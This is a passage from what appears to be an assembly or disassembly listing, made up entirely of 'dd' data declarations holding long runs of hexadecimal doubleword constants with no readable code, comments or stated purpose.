7D6D5F45h, 75FE2C5h, 6A51A4C7h dd 0E7D25FB5h, 0D1866DADh, 0ADE7EEADh, 0EDBB6251h, 578F21E5h dd 2B80D4C5h, 0F0F0D341h, 0F7E32D8Eh, 0EE466DEDh, 0FDB138F4h dd 78E0C51Ch, 34FDB338h, 51EDD6C5h, 2E27B1F7h, 0E7E601B3h dd 0F7C7C0CAh, 769CB739h, 31A1569Ch, 7C75D738h, 130FFEF1h dd 2E50014Fh, 73B1B486h, 0AA704DADh, 1459D9ADh, 2D9F29C4h dd 75E630BBh, 9D6DA678h, 0C594EAE7h, 0CDEDCEh, 0AE310AE8h dd 4AF7D76Dh, 0F6D5C568h, 6DE4A25Ah, 362DAFDDh, 0EB0CE932h dd 0E70F2D96h, 0F4C50C78h, 7AC75F11h, 0F863D0A7h, 0D053F7E4h dd 0B1F18C2Eh, 4720A51h, 0C707EDD9h, 0FC054DE5h, 65C76EB6h dd 0ED83AD65h, 41E3F76Bh, 67ED80A8h, 85D0CFE7h, 0F76BBED8h dd 0BC7649E1h, 0E47274EDh, 3493FC4Dh, 680DC7E1h, 0B8B3AAC8h dd 0E37DE8C7h, 0F7C1BE82h, 0C586A06Ch, 0E9E7052Dh, 0F0E8C561h dd 0C7801127h, 766DEF85h, 0DCEC5510h, 43722D82h, 0E5861481h dd 80D765F6h, 0ADC347F7h, 0E05540F5h, 742D6BFCh, 0FC4DA942h dd 72362D60h, 95AC5D2Eh, 6BF7C777h, 2DDE4565h, 69E9B24Bh dd 0E4ADC5C7h, 44E487E7h, 0D71436F0h, 9D948CCAh, 2E2122F7h dd 2D9460A8h, 41A5C714h, 282D5AFEh, 44516BE7h, 0E7F57BDFh dd 0F086CC84h, 6D3D1C3Eh, 0EDE1C47Dh, 0B40860A3h, 7AED90ADh dd 84D84442h, 0E7742DE2h, 6E3C5D65h, 20C7546Dh, 0F7A1E875h dd 3F0950D0h, 346D2EBEh, 73C47BD7h, 0F7F8339Ah, 0D20659A7h dd 0A7B15BADh, 6D377E65h, 280B541Ch, 0E0FAC685h, 792B61h dd 0C71FF7BFh, 8AB941A5h, 20501EB4h, 6D26F971h, 2089F7BBh dd 0A103ECC5h, 4612A51h, 0C7F834DFh, 92E1496Ah, 0B851C3F7h dd 0ADD0C6A4h, 456EE7A4h, 0D00BEF85h, 86716B60h, 0D758FCEEh dd 0A2B644CAh, 6751A4EDh, 769FC149h, 89B92E64h, 7AD70AEh dd 0A9592BE7h, 0B2CDB189h, 0D7065969h, 0C74E2Dh, 2D8A524Ch dd 716DC7A5h, 9AEDE9C4h, 0B6341FE7h, 0E724ED9Dh, 8E9359A2h dd 0A9910B2Dh, 4FF0655h, 4563E7E7h, 1981FF05h, 427924E7h dd 0C7E93BB0h, 0EB440C60h, 6CD7DFEDh, 0CFA59459h, 79A2C707h dd 443488B2h, 641EB12h, 4FE2BAC2h, 5B3565A5h, 3822502Dh dd 6D987AECh, 4386F722h, 0BA6D9718h, 87A79D34h, 24C635DBh dd 48FE5929h, 42F77EF7h, 0AD720FF1h, 90EA4BF0h, 0BCED188Ch dd 0EF603645h, 758167ECh, 0FA456B4Ch, 0CFD7637Fh, 67CFC5DEh dd 59627149h, 0A62DCE06h, 6DCFCD7h, 0D7E72DCEh, 0CE06D0FCh dd 0FCD7252Dh, 0B05DAEE8h, 4D24B974h, 36EDF4C7h, 44BC738Dh dd 0A2746DEDh, 0FA0B8DEh, 0B1F7A435h, 0ED24F01Bh, 64FE8470h dd 482D0400h, 5051A6A3h, 8AB9ED82h, 2A3041E4h, 79F7147Ch dd 0AD0331D8h, 79A94965h, 0E773F3C4h, 234C8555h, 0D79FD7A1h dd 0FD06516Dh, 0ED12CDF4h, 0EDC54655h, 0F8508121h, 0B46DE884h dd 8465E4E7h, 0E7E6B0DBh, 0F546E446h, 0A2E714ADh, 0AD9A8184h dd 492B6135h, 0B878ACB4h, 0AC616BE7h, 0D7DF2D85h, 0C0455D20h dd 25E7D4B9h, 6DAE3A65h, 0D8FDF7DBh, 0DCADE806h, 2E4962E7h dd 0E754B7A5h, 0A5A33869h, 0F5D77FBFh, 0EDC987F8h, 98674C9Bh dd 17ADFB84h, 84600730h, 0C170ADF6h, 0D9058097h, 0A3E7F9FCh dd 0EDD00549h, 69A6E7F4h, 0DFF4852Bh, 545EFF7h, 0D7D9FCD9h dd 0EDC4516Dh, 6DCC3CEDh, 74F68541h, 45228176h, 48F0F845h dd 45DE9D7h, 2096EDF4h, 9C616DE0h, 36E768ADh, 0B7B84F74h dd 4965C71Fh, 0F7ADF3C7h, 0C5F4CED7h, 0C705ADE7h, 916AF84Ah dd 6DC7A4ADh, 0ADE28559h, 65E8D71Fh, 0AE2DDEC7h, 0F651A2F7h dd 0E7E0ADA8h, 0F9C5F0FCh, 0A2F72F37h, 3FF2C569h, 69E4617Fh dd 0C6EDAAAEh, 8C8CC1C7h, 0B2A22D9Dh, 410E79E6h, 2DD726EDh dd 6802F61h, 4DE4E77Fh, 0D2ED816Ah, 0B859E661h, 0C7E1B7A6h dd 4BF67965h, 0A5D747EDh, 0ADDD0555h, 5525F7F8h, 60ADFD05h dd 6C58983Fh, 0F787EDBEh, 0DC856521h, 0A231A8EDh, 0FEF68569h dd 6125C7B8h, 2CED6149h, 0C4B8E121h, 0E7053FF2h, 0B7604969h dd 0C3C7182Dh, 0EDD0C788h, 45E6D7DDh, 177796AFh, 0C5940CE7h dd 0D758ADEBh, 0ED04F433h, 2EC726EDh, 31F3C649h, 596BD7E9h dd 0B4ADC385h, 0C4E83493h, 0E7BD37F9h, 0F9C55122h, 22D77B37h dd 0ED056845h, 0E353B1CDh, 2B2DECC6h, 4E896F7h, 639DEDC3h dd 0E0054165h, 0E2C7DAADh, 0B6ECC555h, 7D69C72Bh, 0E407C504h dd 0B2696BD7h, 0D7DAAD90h, 0F0475925h, 0EAF725B6h, 2D99AC61h dd 4D2C6D10h, 36EDB16Ch, 0C5456FE7h, 0D726ADD0h, 0E90451EDh dd 0E59177EDh, 47835449h, 4561D71Fh, 4AEDE147h, 4F381C7h dd 0D7CFEDFEh, 0F5059CF5h, 65706137h, 0ADD8C761h, 0E4F571CFh dd 0A7ADD2C7h, 451413C7h, 10FEDDCh, 0CD4579A2h, 0A6E74B2Dh dd 2D93E161h, 79E531CAh, 0F7ED87FEh, 3444CBADh, 0C7E12D8Eh dd 0C185B49Eh, 0AAC765EDh, 0ED669745h, 0B4E2D754h, 11729263h dd 0C741E543h, 331BEDDDh, 0D2C5E8DBh, 24E7B22Dh, 2DCE0614h dd 0BD24F727h, 3377A45Bh, 0C31059D7h, 0CC747198h, 0CB4687A1h dd 0A3ACEDh, 0F4EC85E4h, 9DA1C7A5h, 0F0ED72D4h, 0D28DB9EAh dd 0E7086104h, 0F3C5866Eh, 0E09866ADh, 0F684BC51h, 7566F85Bh dd 24B43851h, 40CDF3C7h, 95B93469h, 44204DA1h, 64A33AEDh dd 0ED29E369h, 59A2BF47h, 407AD6C6h, 0A3A428B1h, 0D71E7780h dd 0B86365E5h, 0A1502931h, 2DD285B4h, 4370E754h, 0F2D0C9C5h dd 456D6BD7h, 0B2726DEFh, 0DF05D3BEh, 67BC774Ch, 2D001669h dd 4966E81Bh, 9EB6CEC7h, 0F1F031A2h, 0A3484C5Fh, 8853982Ch dd 25D7C72Dh, 0E7BFF265h, 6F79B4CAh, 562D6DB1h, 0A271A589h dd 0ABF9F8E0h, 0AB037D28h, 6783DE2Dh, 14DD2265h, 6DA9E7B8h dd 67886ACDh, 0F0D4D043h, 0C7306D6Dh, 29937DE5h, 22F479A0h dd 77AC2DBEh, 64F6B189h, 3E7CD385h, 4616DC7h, 0B19EB4F4h dd 0E506F807h, 6CD7E0BCh, 0ED9DF138h, 79A2E7D1h, 0A6BCF785h dd 6E656DC7h, 0C7670884h dd 0D604F0F0h, 20D0F52Dh, 108E1C65h, 41A2F7D9h, 7A6DE846h dd 0C74D2AD7h, 0D765ADC4h, 0CE454432h, 66E76500h, 0ADD04665h dd 616DC74Ah, 71EDE6C4h, 44BCCD93h, 40C8B1F3h, 0FA04B484h dd 6FD71F2Dh, 389D3551h, 41E9C747h, 986DD846h, 0C7D074E7h dd 0E71AADE2h, 0A2780C7Ah, 77CEA2Dh, 6DC44547h, 45E6F7F7h dd 0E877ACAFh, 958CED51h, 0F7302D8Dh, 9DE161A6h, 0A1709E77h dd 0F1D88645h, 5522F786h, 24ADCF86h, 4749EAD7h, 0D760F3D4h dd 0D8C6CCCEh, 29D72D73h, 0EDE40769h, 61EBD751h, 8D2DCDC6h dd 0C571A1A1h, 0E7E72DF9h, 0D3C47D64h, 0A0B2A274h, 73A2AE6Dh dd 0C443C7A6h, 0F16DEE86h, 0E27964E7h, 0C763BCB7h, 0E7C74DE1h dd 0EA6109EDh, 2DFE0569h, 7D29C707h, 11ADA63Ch, 469C42D7h dd 0F7F637CEh, 0BC3079A6h, 0EBC7B82Dh, 2DFFC749h, 6964E71Fh dd 0D5F5972Fh, 0C4A78FF7h, 0E7DD2DF6h, 0D0C6A10Fh, 0EDE775F7h dd 0B4FE054Dh, 756BD71Dh, 0E5F3F1C5h, 0BF61E1C7h, 0F787F16Dh dd 0E6C7888Ch, 0E9C72F2Dh, 0ADBAB57Dh, 69E7D0E0h, 0DFB1E5C6h dd 857DE9C7h, 4105F4E4h, 0D8C72BE2h, 0ACF7C4EDh, 0B6B9AF45h dd 49E4E7C4h, 0DEBFFF05h, 47DC53E7h, 0A175ADF9h, 0C0C57485h dd 35C7C5EDh, 0C2FF0550h, 55683195h, 0FDEDC105h, 7979A521h dd 0E73A37B5h, 0DA068417h, 0A3E786ADh, 0EDAAA151h, 7528D784h dd 0E5B78ABEh, 0C559EAD7h, 260ADDBh, 0CDC559A3h, 0E3E7A0EDh dd 0BAA39855h, 491C7D7h, 39B2E306h, 575E8E7h, 0E77AB2E3h dd 0B1F87DE9h, 51515CADh, 2DF5060Fh, 4DE81074h, 6EB4D4C6h dd 0C455A223h, 0D71AEDD8h, 99E16165h, 0EA1074B5h, 0EDD8C64Dh dd 0E499F769h, 27ADDAC5h, 86BC91C7h, 0C792BCE4h, 0AAED0094h dd 2AD76EEDh, 0EDC10449h, 792BE74Bh, 0E1F795C0h, 84756DF7h dd 0E70774C2h, 0E7C769A8h, 0DFF7E02Dh, 7AC4C504h, 596DF7E4h dd 512D8DF5h, 94780EC7h, 14F54AABh, 0BDD8BC12h, 0E900742Dh dd 0EDE3C661h, 54B11078h, 85EDC004h, 0FBF03730h, 2C326D95h dd 97D849E0h, 60E7262Dh, 62AF9861h, 7128F715h, 376DF5C5h dd 0C62CDC02h, 0D7F9EDF8h, 0FAC53C51h, 9BD7A2BAh, 0FAB7DB87h dd 55630E46h, 0C3ADCDC5h, 4644B5C7h, 0E7A06DC6h, 0A52D7036h dd 0D5D7CAF2h, 0ADD0C528h, 0C48CE76Eh, 38FCCA47h, 444DA7C7h dd 0D7DFEDE1h, 0DE854126h, 4E5D4CBFh, 0EDC4C7D4h, 0B4648375h dd 0DFC1E246h, 0F74DE6D7h, 139EB474h, 90AC59E7h, 0A1C7A5ADh dd 0B6106155h, 0FCD982DEh, 702DD546h, 530A1E7h, 932E6DDDh dd 0C585712Ah, 0F7C7C16Dh, 0FCC30454h, 0D077402Ah, 0E3ED9D01h dd 0C668F1C7h, 0E0466DE6h, 0D24665A5h, 0A1C76DADh, 0AD90211Ch dd 0E4305374h, 0ABEDB3A9h, 47485F7h, 916A81ECh, 0EF8575EEh dd 28814FC6h, 0B49F1249h, 5DA0C7CAh, 0E7748500h, 0C6716BE7h dd 71BA7CC0h, 0E03E91E2h, 56D725C2h, 0E2F0F910h, 919734A2h dd 51CAD079h, 395C0DC7h, 0D7D582E3h, 0FEB8A951h, 93E7D9A2h dd 0ADD07895h, 979812B8h, 4023B18h, 9BB91D14h, 14032D88h dd 0D67B89DFh, 5AE7597Ah, 0E7C53B4Ch, 0A0D80457h, 0AD92D3C5h dd 5AAEDDF7h, 2EDF6D55h, 0FC7A5D20h, 2BC793C4h, 2D45C165h dd 61E5B364h, 0DDADB3E1h, 86E7754Fh, 8920E4EAh, 0F7452781h dd 688015BBh, 6DE885A4h, 55EBE7B4h, 0E3EDA9E9h, 0AA71AB21h dd 21A0AD75h, 82E1792Bh, 6B2109F4h, 2D856975h, 45A78177h dd 58F17AAFh, 6456DD7h, 0F71A73FEh, 0DD467521h, 30E7E7ADh dd 2DE346E4h, 592573E2h, 0FBADB5C9h, 0C6756BA1h, 0B375EDC1h dd 9AFC6560h, 0D5F075F1h, 0B4A089EEh, 868F7DFh, 0E52D85CAh dd 89F391F7h, 0A181DE38h, 181EC217h, 2491A381h, 6DEEC48Fh dd 0C8A04306h, 972DD7C7h, 8679659Ch, 0C75D6DE6h, 0CC058477h dd 0E5C7A56Dh, 0EDABB78Fh, 7125D76Bh, 64ADFD04h, 46873592h dd 0C7A2B4CBh, 0F2C7CCDEh, 0E8F7EBEDh, 0ADE00471h, 6121C747h dd 306DEFC5h, 0EA84FBC7h, 10BED9Eh, 9B9D69E5h, 0EBD01A76h dd 74AEA875h, 0E805F7D7h, 0F839D8C5h, 66967D7h, 0D7F86DC2h dd 0EBC749A7h, 0A0D0E2ADh, 3EE20655h, 7166E7E1h, 0DFF6F606h dd 0C661E421h, 215B2DCFh, 90BDF059h, 70F7CB2Dh, 0F1F1C564h dd 45EDD732h, 15F3DE86h, 0C6749CE7h, 0D707B0C9h, 0EF054525h dd 0ABD7B82Dh, 0ED792B5Dh, 592BC7EBh, 21469B23h, 4661EDF7h dd 0C78501F5h, 5E3575EBh, 6931D7EDh, 6850B5Dh, 4D6D93A3h dd 0E76DAEECh, 0C465E1E7h, 0F084ADC3h, 0ED067DA2h, 61A295F7h dd 0EDDEC445h, 71A2E755h, 0ABADC3C5h, 47165E7h, 61E72DD0h dd 0CE447DE4h, 0A3C791EDh, 2DFF0679h, 79E8C723h, 2D2DF706h dd 44CCE9C7h, 0E7FFEDF5h, 0C7877DE5h, 0E4C7F7FCh, 0EDA60855h dd 58F02267h, 0DFEDAA80h, 4551E7E7h, 0E714F4C2h, 0A58369E5h dd 6B9195EDh, 84E04571h, 6C15E7F1h, 0DFBE8089h, 8D49E2C7h dd 0A1F17FBFh, 6C8069EBh, 57BFB3EDh, 79E405DCh, 75A2B115h dd 23B6C646h, 44CCBC43h, 0B302ADE5h, 8D96B86Fh, 0BFF7802Dh dd 0F4B94958h, 6563E7E0h, 9381D985h, 4179E4F7h, 0B1B7FE42h dd 0E70545EDh, 0AFE7DFA4h, 0F62AF77Dh, 14EFD7E1h, 8DB4ECC5h dd 0A06411F7h, 0C7702DB9h, 0D985A769h, 646DC3EDh, 0BCFE3745h dd 516BE7D2h, 9739D5C6h, 0C7D857F2h, 0B10701D9h, 0F2C7CB5Ch dd 6BD73039h, 0B9F6C541h, 6DE101C9h, 74ADE3C4h, 0E5DC45E7h dd 50026D92h, 0CE0641AEh, 0A2E714EDh, 0B4FA464Dh, 752231F0h dd 0D76DE6C5h, 4DC2AD7h, 0A195EDE6h, 0ECC669E1h, 0ED116780h dd 2DDAC659h, 65A1C758h, 0E8AD9168h, 85D071F7h, 912CEDD8h dd 0CD06C495h, 0F7D75F2Dh, 0ADD30618h, 796BE7E1h, 1C8C6C4h dd 0C5712233h, 0C71FB8D8h, 0E3C749E4h, 9CE7E2ADh, 0ADF5C548h dd 5D67E7DFh, 7C39C446h, 0C06924E7h, 414AAD83h, 45A1D7D0h dd 2AFCFAEDh, 3CCE8565h, 412A11ABh, 0F578A541h, 138C7BF7h dd 0D7DFB474h, 6C317924h, 0A6D781B4h, 2DCDE06Dh, 0E7F8E7BAh dd 0B3EDE0A0h, 86796B93h, 0A1B7FCCCh, 537255E9h, 6BE730B0h dd 0EDCB8749h, 7562A32Ch, 0AAEDDE44h, 575A1E7h, 0D7F8F4D5h dd 0F24645A5h, 6A6CE3EDh, 6D66F04Dh, 6167E73Ah, 64B3D4C5h dd 0C55D22C7h, 0F7F1B3FAh, 0CE06B884h, 6B1FAEEDh, 6DEEC54Dh dd 7161E736h, 0B5EDA13Dh, 0FFD405F7h, 0C72576B0h, 0FD4649A1h dd 2540A82Dh, 2D9C6079h, 616DD7AEh, 0B2B1C486h, 4716750h dd 7CB3EDE1h, 95BCD0F9h, 65C7FAEDh, 0ED9CBC51h, 80FFC73Ah dd 1FEDD546h, 0C769E5D7h, 0F05D2DECh, 0A9A3596Ah, 0A5E786EDh dd 73E3C765h, 8B40F7B5h, 52DF846h, 45516AC7h, 0D024B6F1h dd 0CCC6A84Bh, 0BFF7392Dh, 1CF3A27Ch, 7DA013A5h, 9DADF684h dd 4669E460h, 0D79336D5h, 0D904516Dh, 0F9F718F6h, 6DCB06ECh dd 6968F718h, 72DEEC5h, 61412AC7h, 0C719EDA9h, 0E3C74DAFh dd 0E6D71AADh, 0EDDFC641h, 792AD734h, 7DEDE004h, 6F85B72h dd 0F7072DF4h, 0FB8449E9h, 0EF3170B5h, 0ADF1C655h, 6C9CA1E9h dd 0D12DDAC5h, 854163C7h, 0E76471C8h, 0D146C7BCh, 6DD2416Dh dd 0F3F8C465h, 33C7E7A4h, 0E92DCDC5h, 0C728ECC7h, 4029ADDDh dd 0CD856922h, 1FE725ADh, 704AE24Ch, 8AC1E721h, 0F7ADA5E3h dd 7C0460F7h, 0E7E46D92h, 0FC457161h, 0A270DAC2h, 0DAE23E59h dd 6527E799h, 0AAED3599h, 86BA14B1h, 34ACEDCFh, 0ADFC9617h dd 7451A6ADh, 0EDDE46C4h, 3A95541Ah, 70A2EB07h, 0B9516520h dd 24FD6D38h, 6D38A553h dd 0E570DAEDh, 0DAE23E59h, 0B911C7BAh, 63EDA2B9h, 44656B24h dd 24EEA2C5h, 65FA1496h, 95D7E3D6h, 0B4C346CBh, 0A03F52A8h dd 995CC004h, 8465E0E7h, 0E76AB4ECh, 0B582612Bh, 6B2126ADh dd 70CA847Dh, 7926D759h, 0F52DB861h, 0AF4DE4E7h, 33B0EDB1h dd 0BD93DBBAh, 0A1E78D43h, 23C90561h, 5DE291E6h, 0D96DAED8h dd 0E35CF3D7h, 0D7A270B3h, 0E98400C5h, 607C2CF4h, 7465E24Dh dd 75ECF7CFh, 15ADBBE3h, 3455E6A2h, 0E766AD78h, 0D90530A6h dd 32C7A8ADh, 3CE207E7h, 41A78F35h, 0C8A44AFDh, 0D75472E7h dd 0D79184ADh, 0B0A078C3h, 30D7CCEDh, 0EDE3C740h, 0B024F71Fh dd 0F7F6D9C4h, 0C74121E7h, 0C7F6ADEBh, 0C884E47Fh, 6BA16774h dd 2DCE4561h, 65EFB3E1h, 0D1E4D1C4h, 0B3B72CD7h, 0E7707186h dd 0BFA14521h, 0BF9365ADh, 0B1EA46D4h, 4165F707h, 0F1F6DCC7h dd 7556BE1h, 1F1FCFEh, 0AF68ECB7h, 24C7FB01h, 438AA155h dd 0D01CF731h, 29EDF504h, 0C77168D7h, 0C00634CAh, 0F645456Fh dd 6CE76041h, 0ADF3448Eh, 5D2DE7FFh, 0A5AD8FCDh, 46796BE7h dd 0B9B5ADE5h, 0E504F47Bh, 0C1A3AAADh, 0EDB16338h, 4521C705h dd 746DACB8h, 6379E0E7h, 805B788Fh, 0D0C45522h, 35F725ADh dd 0AD8D3AB6h, 61A8D73Dh, 8FBEC1C4h, 47E430ECh, 0A381BCFAh dd 0BDA05524h, 0F3E7C12Dh, 2DFDC7C8h, 4D23B1E6h, 13FCE646h dd 0C5F887D7h, 0E7DFADF6h, 0BCCD4521h, 2041A1ADh, 0ADF884C8h dd 61EDD715h, 7074BC6Bh, 86652EC7h, 0C0BD3BCEh, 0EE46652Eh dd 0A9E7FF7Fh, 0B4C50651h, 65ECA1E6h, 86FCF506h, 0C561A1C7h dd 0E747ADFCh, 0E5065961h, 20E79B6Dh, 0EDEC0475h, 752751CFh dd 0F5EDE104h, 0C4652021h, 0F7E77FE6h, 912F6C0Dh, 0CE40FAADh dd 0ADE504E8h, 45E7E77Fh, 0F1AD9DA1h, 4684EF41h, 6317ADFDh dd 0F2066563h, 0CF7BD4Fh, 0C6656160h, 4DA0C7B1h, 4FEDCB44h dd 0CE4960FCh, 4154B4A6h, 0A9E841A1h, 0EAD733F4h, 0AD658E51h dd 0D454C7AAh, 4DAD97A1h, 46883380h, 7154EDFDh, 0B437412Dh dd 0E4A1E3ADh, 0F469EE49h, 0D608E7A6h, 0FBF4800Ch, 6079E1E2h dd 0A0CA6D70h, 0EC86C8C4h, 0ABE7B26Dh, 0EDE7444Dh, 59EFE7DFh dd 0A4BCEBC5h, 0C7752591h, 7DE36DEFh, 0E905E416h, 20712A38h dd 0EDB82A7Dh, 0F0325D47h, 18EDBB2Ch, 846B4DBCh, 0D71CF4E9h dd 0B4624049h, 35E7E07Ch, 86C744FCh, 496BA328h, 87ADE046h dd 1FD06B5Fh, 0F71BED9Eh, 0C54549A2h, 3D32FDB6h, 0ADD8C780h dd 5966F7DDh, 0B8EDC984h, 444DA4C7h, 0D7DFEDEBh, 0DD067964h dd 27E73400h, 2DE60549h, 4DA5D7B8h, 0E776BFFEh, 0C5596BD7h dd 0E73A6DEEh, 0B10B6927h, 2BD73FFBh, 0F79A8165h, 923AF7BAh dd 0EE341437h, 694C96E7h, 0E71FF698h, 81624C33h, 8EF7B107h dd 0B0DE8490h, 5925A19Ah, 5A6DCAC5h, 0C7C8C581h, 31432DEAh dd 0C0C4D05Ch, 0C4F724B1h, 6DCE46C0h, 349A7366h, 85B1CB85h dd 757D25A0h, 0E774748Ch, 99F74164h, 25E71F2Dh, 0F1FCC679h dd 64D0E7E5h, 0E77393EEh, 450E25F7h, 0A36FF1F0h, 0DE4569A2h dd 6DD7D7EDh, 0ADD70641h, 0F85CE765h, 682DDA84h, 85F882F7h dd 0B1652DC7h, 8CEB5167h, 0A5E77AEDh, 0EDDBC561h, 59E5D21Dh dd 0DB34D886h, 0C4496BD7h, 121EDDEh, 0E6455DE2h, 79C7BA6Dh dd 778E7EECh, 0B0E2C729h, 0FC2DD904h, 0C66D67D0h, 0E731ADF5h dd 0E28597BCh, 0A2AA43ADh, 6DE6057Dh, 0E070E7DBh, 0CFEDCCC4h dd 8645E591h, 91E6F6EBh, 0DCC475A1h, 87D005B9h, 6DED45ECh dd 0A8A4C0ACh, 5A2DDAC4h, 74246421h, 0F726779Ch, 0F0047DADh dd 2C7E10Ch, 0F7966170h, 5DE4E7E6h, 0CFED8E33h, 0FCB363A1h dd 0E2CB2D8Eh, 0CB4649E7h, 0E0A33D2Dh, 2D576079h, 7C33F767h dd 422D8D28h, 1651E6F7h, 0A11E393Fh, 0DAC6DE4h, 2AC79E2Dh dd 0EDB58EDCh, 0C519941Bh, 6B39F206h, 78C28A2h, 19DC01FAh dd 542248BFh, 0EFC0E31Eh, 6DAE2A88h, 0BE5E712h, 66E1E3C6h dd 0C5BAA4C4h, 0F707D9F8h, 0C4C7A06Eh, 54C7E72Dh, 0EDCC0434h dd 49E7C8A9h, 72DFD05h, 35556AD7h, 0E768BF33h, 0C5466D6Bh dd 21F2342Dh, 2DFA450Ah, 6C9EE7A5h, 0B0EDDEC4h, 0C46DE201h dd 0F7976DE0h, 9389903Fh, 0B5B1E2EDh, 89C544D7h, 8BA3C71Bh dd 7F2DE6C7h, 64D67D2h, 0C2F888D6h, 0DCC445E0h, 0E0CC4589h dd 74CDC561h, 4968E72Fh, 792DE205h, 0B47D61F7h, 91CFB046h dd 0E2075D25h, 0E691E377h, 51F78549h, 59A7712Ch, 607CCD06h dd 0E17161D0h, 0F73AF9BDh, 93909BF0h, 6FC713F4h, 61C884B4h dd 282EE288h, 0D911E4C6h, 63BB69E7h, 0EC96B1BDh, 7A6079E3h dd 6803166Dh, 0EDD5C48Bh, 896BE4DDh, 982D6A6Eh, 0AAE159F4h dd 13166D00h, 0D7443B35h, 267145C3h, 7FEE0645h, 71A2F7A5h dd 23ADACDBh, 4645A52Eh, 0A20BEDD2h, 0EB065963h, 0E4A1F2FFh dd 3C8C0175h, 0AC8274BEh, 61A3DD87h, 4685CDF7h, 0D7E3EDC1h dd 0C5444FBBh, 0E2E7FFADh, 0ED6F6079h, 752E1316h, 1406F587h dd 0C66D6BE7h, 0B1E2EDE6h, 0AE62516Dh, 6DF7D86Dh, 74E1055Dh dd 712CE7A0h, 5BAD6B6Ch, 845525F0h, 0D06984DDh, 0DD4445EFh dd 0EFC77084h, 0ADC985B0h, 49A28DFBh, 0A42D83B0h, 5716D3Dh dd 93FBADC5h, 0E70641EDh, 70D7F8EDh, 0EDE5C69Ch, 0A10AF7C5h dd 2572C8C6h, 4769E9C7h, 93FBADC1h, 0EC067DE6h, 2EE7AAF1h dd 2D9A4C71h, 61A3C710h, 0B6EDDDC7h, 47160C7h, 0A14FEDFAh dd 0EDC56926h, 66F7852Dh, 0ADE08465h, 6DA2B1E2h, 0B532C085h dd 55164E7h, 9C32EDEEh, 0A7F86924h, 0A5B2FDEDh, 34D5C741h dd 69A7D71Fh, 0C46DDCC7h, 0C55C05C7h, 0F759ADD3h, 0D405C0C4h dd 5C7DB6Dh, 6DA6AA58h, 55A2E7BBh, 322D87B8h, 0CD5D6B2Ch dd 0E780EDAAh, 0B92908FAh, 0A8D733F7h, 0B46D2828h, 4D6BE7E2h dd 0DFFCB521h, 0CD45A5D7h, 0F7995CB4h, 0B3BB24AAh, 9E736EDh dd 0F6B27408h, 937CC7B6h, 23AD8FEBh, 7696BE7h, 0A1F242FBh dd 8680596Ch, 0ACF7D56Dh, 2D8D2171h, 5561D751h, 0D96D86A1h dd 46444DD7h, 12D7EDC3h, 0A86E131Fh, 0EB0E426Dh, 4A8A1349h dd 556BE7A7h, 2342FB04h, 85796663h, 0C7B486F4h, 0D6C6BC79h dd 0A381E3B7h, 0B274BB5Dh, 0E4B4E7CAh, 1034EB87h, 46443050h dd 0A20BADF4h, 0D346A464h, 2EE7B42Dh, 0EDA3B56Dh, 6DA1302Ah dd 7FEDA6ADh, 844565C7h, 0C7DDBFEDh, 0B2E375A0h, 2CA1A52Dh dd 3CF34475h, 41A82383h, 0B834D505h, 2B59A5C7h, 62C9EDB1h dd 0E205616Bh, 67D71FBCh, 0ADE8A245h, 68FBC7D2h, 1CEDDCC4h dd 86D43AB5h, 0E7DCB1C5h, 9DC0E810h, 6B22582Dh, 0BCE28569h dd 902E2D57h, 0C4ADC0C7h, 4516BE7h, 1393EDE2h, 0B0A47FBAh dd 0FC51DBADh, 6DC144C4h, 0D3C0E752h, 0C3ADBB6Eh, 84D074E7h dd 0D772ADFAh, 0C0C74960h, 6D51852Dh, 77E0C455h, 75E1F718h dd 66EDE3C5h, 32416E63h, 2108AD51h, 0AE2F45A1h, 0A7E7F06Dh dd 0EDA7364Dh, 49D7CBh, 4A7CAAE3h, 44CC8193h, 0E7FF2DDBh dd 9283412Fh, 0BEE7A8F4h, 6DACA254h, 0DFFBE7ACh, 0F3F3BE03h dd 4E4B0F7h, 0E15A30E5h, 0DE455DA2h, 0A760FAEDh, 0EDCD0475h dd 7DA6E786h, 0E66DEE04h, 0C741EED7h, 0E04D74C8h, 99227561h dd 8DC709ADh, 0AD8D39D0h, 5C7EE7A5h, 426D9623h, 0A3480491h dd 5123ADB1h, 0C1C6696Bh, 0A5F706ADh, 0B9746265h, 0A4C4A38Ch dd 7ADC1C6h, 626525F7h, 0E7BB6D64h, 4EA241A5h, 0E0F70731h dd 6DEEC555h, 4125E771h, 1AADF405h, 379A531h, 0D7B13468h dd 0E985456Eh, 65C71F7Bh dd 0F9038C41h, 4161D787h, 0E4ADA6EDh, 44496DF7h, 0D7B3EDE9h dd 0F5C66D60h, 29E7D6F7h, 0ED977E6Dh, 6960E7E9h, 0E9EDD5C4h dd 0C7683DE7h, 0A0AD2DC9h, 0B87454FCh, 6D6177ADh, 0ADE506B8h dd 0B06F8F49h, 69F47FF5h, 9584EEB0h, 912BF4AEh, 96EF5DE1h dd 625177ADh, 2D8DEF41h, 181FE7C7h, 27EDA16Dh, 4C8DDE7h dd 0F7BA04D0h, 0E7C5552Dh, 2DD7F4F7h, 0AD7C2F59h, 51A0F770h dd 0E1ADCEC7h, 5E896D7h, 0E0FF2DECh, 0E005A8D7h, 20F7D1F4h dd 3FA5CFD8h, 4562E72Ah, 14FD1C4h, 0C537AAF7h, 0D7703FF3h dd 0D3C6C48Eh, 49F7E70Fh, 3FA93850h, 51619142h, 6ED6177h dd 0ECCC03D7h, 7593FEAAh, 0AC0FF7CBh, 2DD7E807h, 6DE94649h dd 0CBFBE7CBh, 41EDC646h, 0C445ED53h, 0D7E7EDE1h, 0F0464BBEh dd 634D90EDh, 77D20659h, 0D2D5D7B8h, 0CC4CD284h, 0CDF83DA5h dd 0B03D6DAEh, 0F58555E1h, 6421B9ADh, 0ADB5E161h, 4F821B70h dd 8446A02Ch, 75652633h, 0D766AD56h, 0E68645AAh, 0EDD7D4EDh dd 0F1D6C665h, 49ACE7E5h, 0F1EDE5C7h, 8461E9D7h, 73246DE8h dd 0F44641EDh, 0DCF7AE46h, 0EDE4C7F3h, 492B29C1h, 0D4F1DC45h dd 0C7C89EF7h, 83F02DC4h, 9B6BE88Ch, 0A3C7E47Ch, 0ADA5A075h dd 6DA3C7F5h, 58AD90B3h, 0CA5D67D7h, 0E7DB2DB4h, 4F4A7561h dd 0BAE7B436h, 0EDE9C6E4h, 0D04663CFh, 250CC285h, 4769A3E7h dd 0A29F0CC2h, 0EB4468CCh, 32C7BE77h, 71D046E4h, 846FE755h dd 0E46DA2A4h, 0F555A7E7h, 0A306C8BFh, 4282D846h, 6AA0717Ah dd 2DC4C469h, 0D0FC9143h, 82716656h, 87712E93h, 417706DBh dd 0C5C7E88Ch, 43F79A2Dh, 74946AD0h, 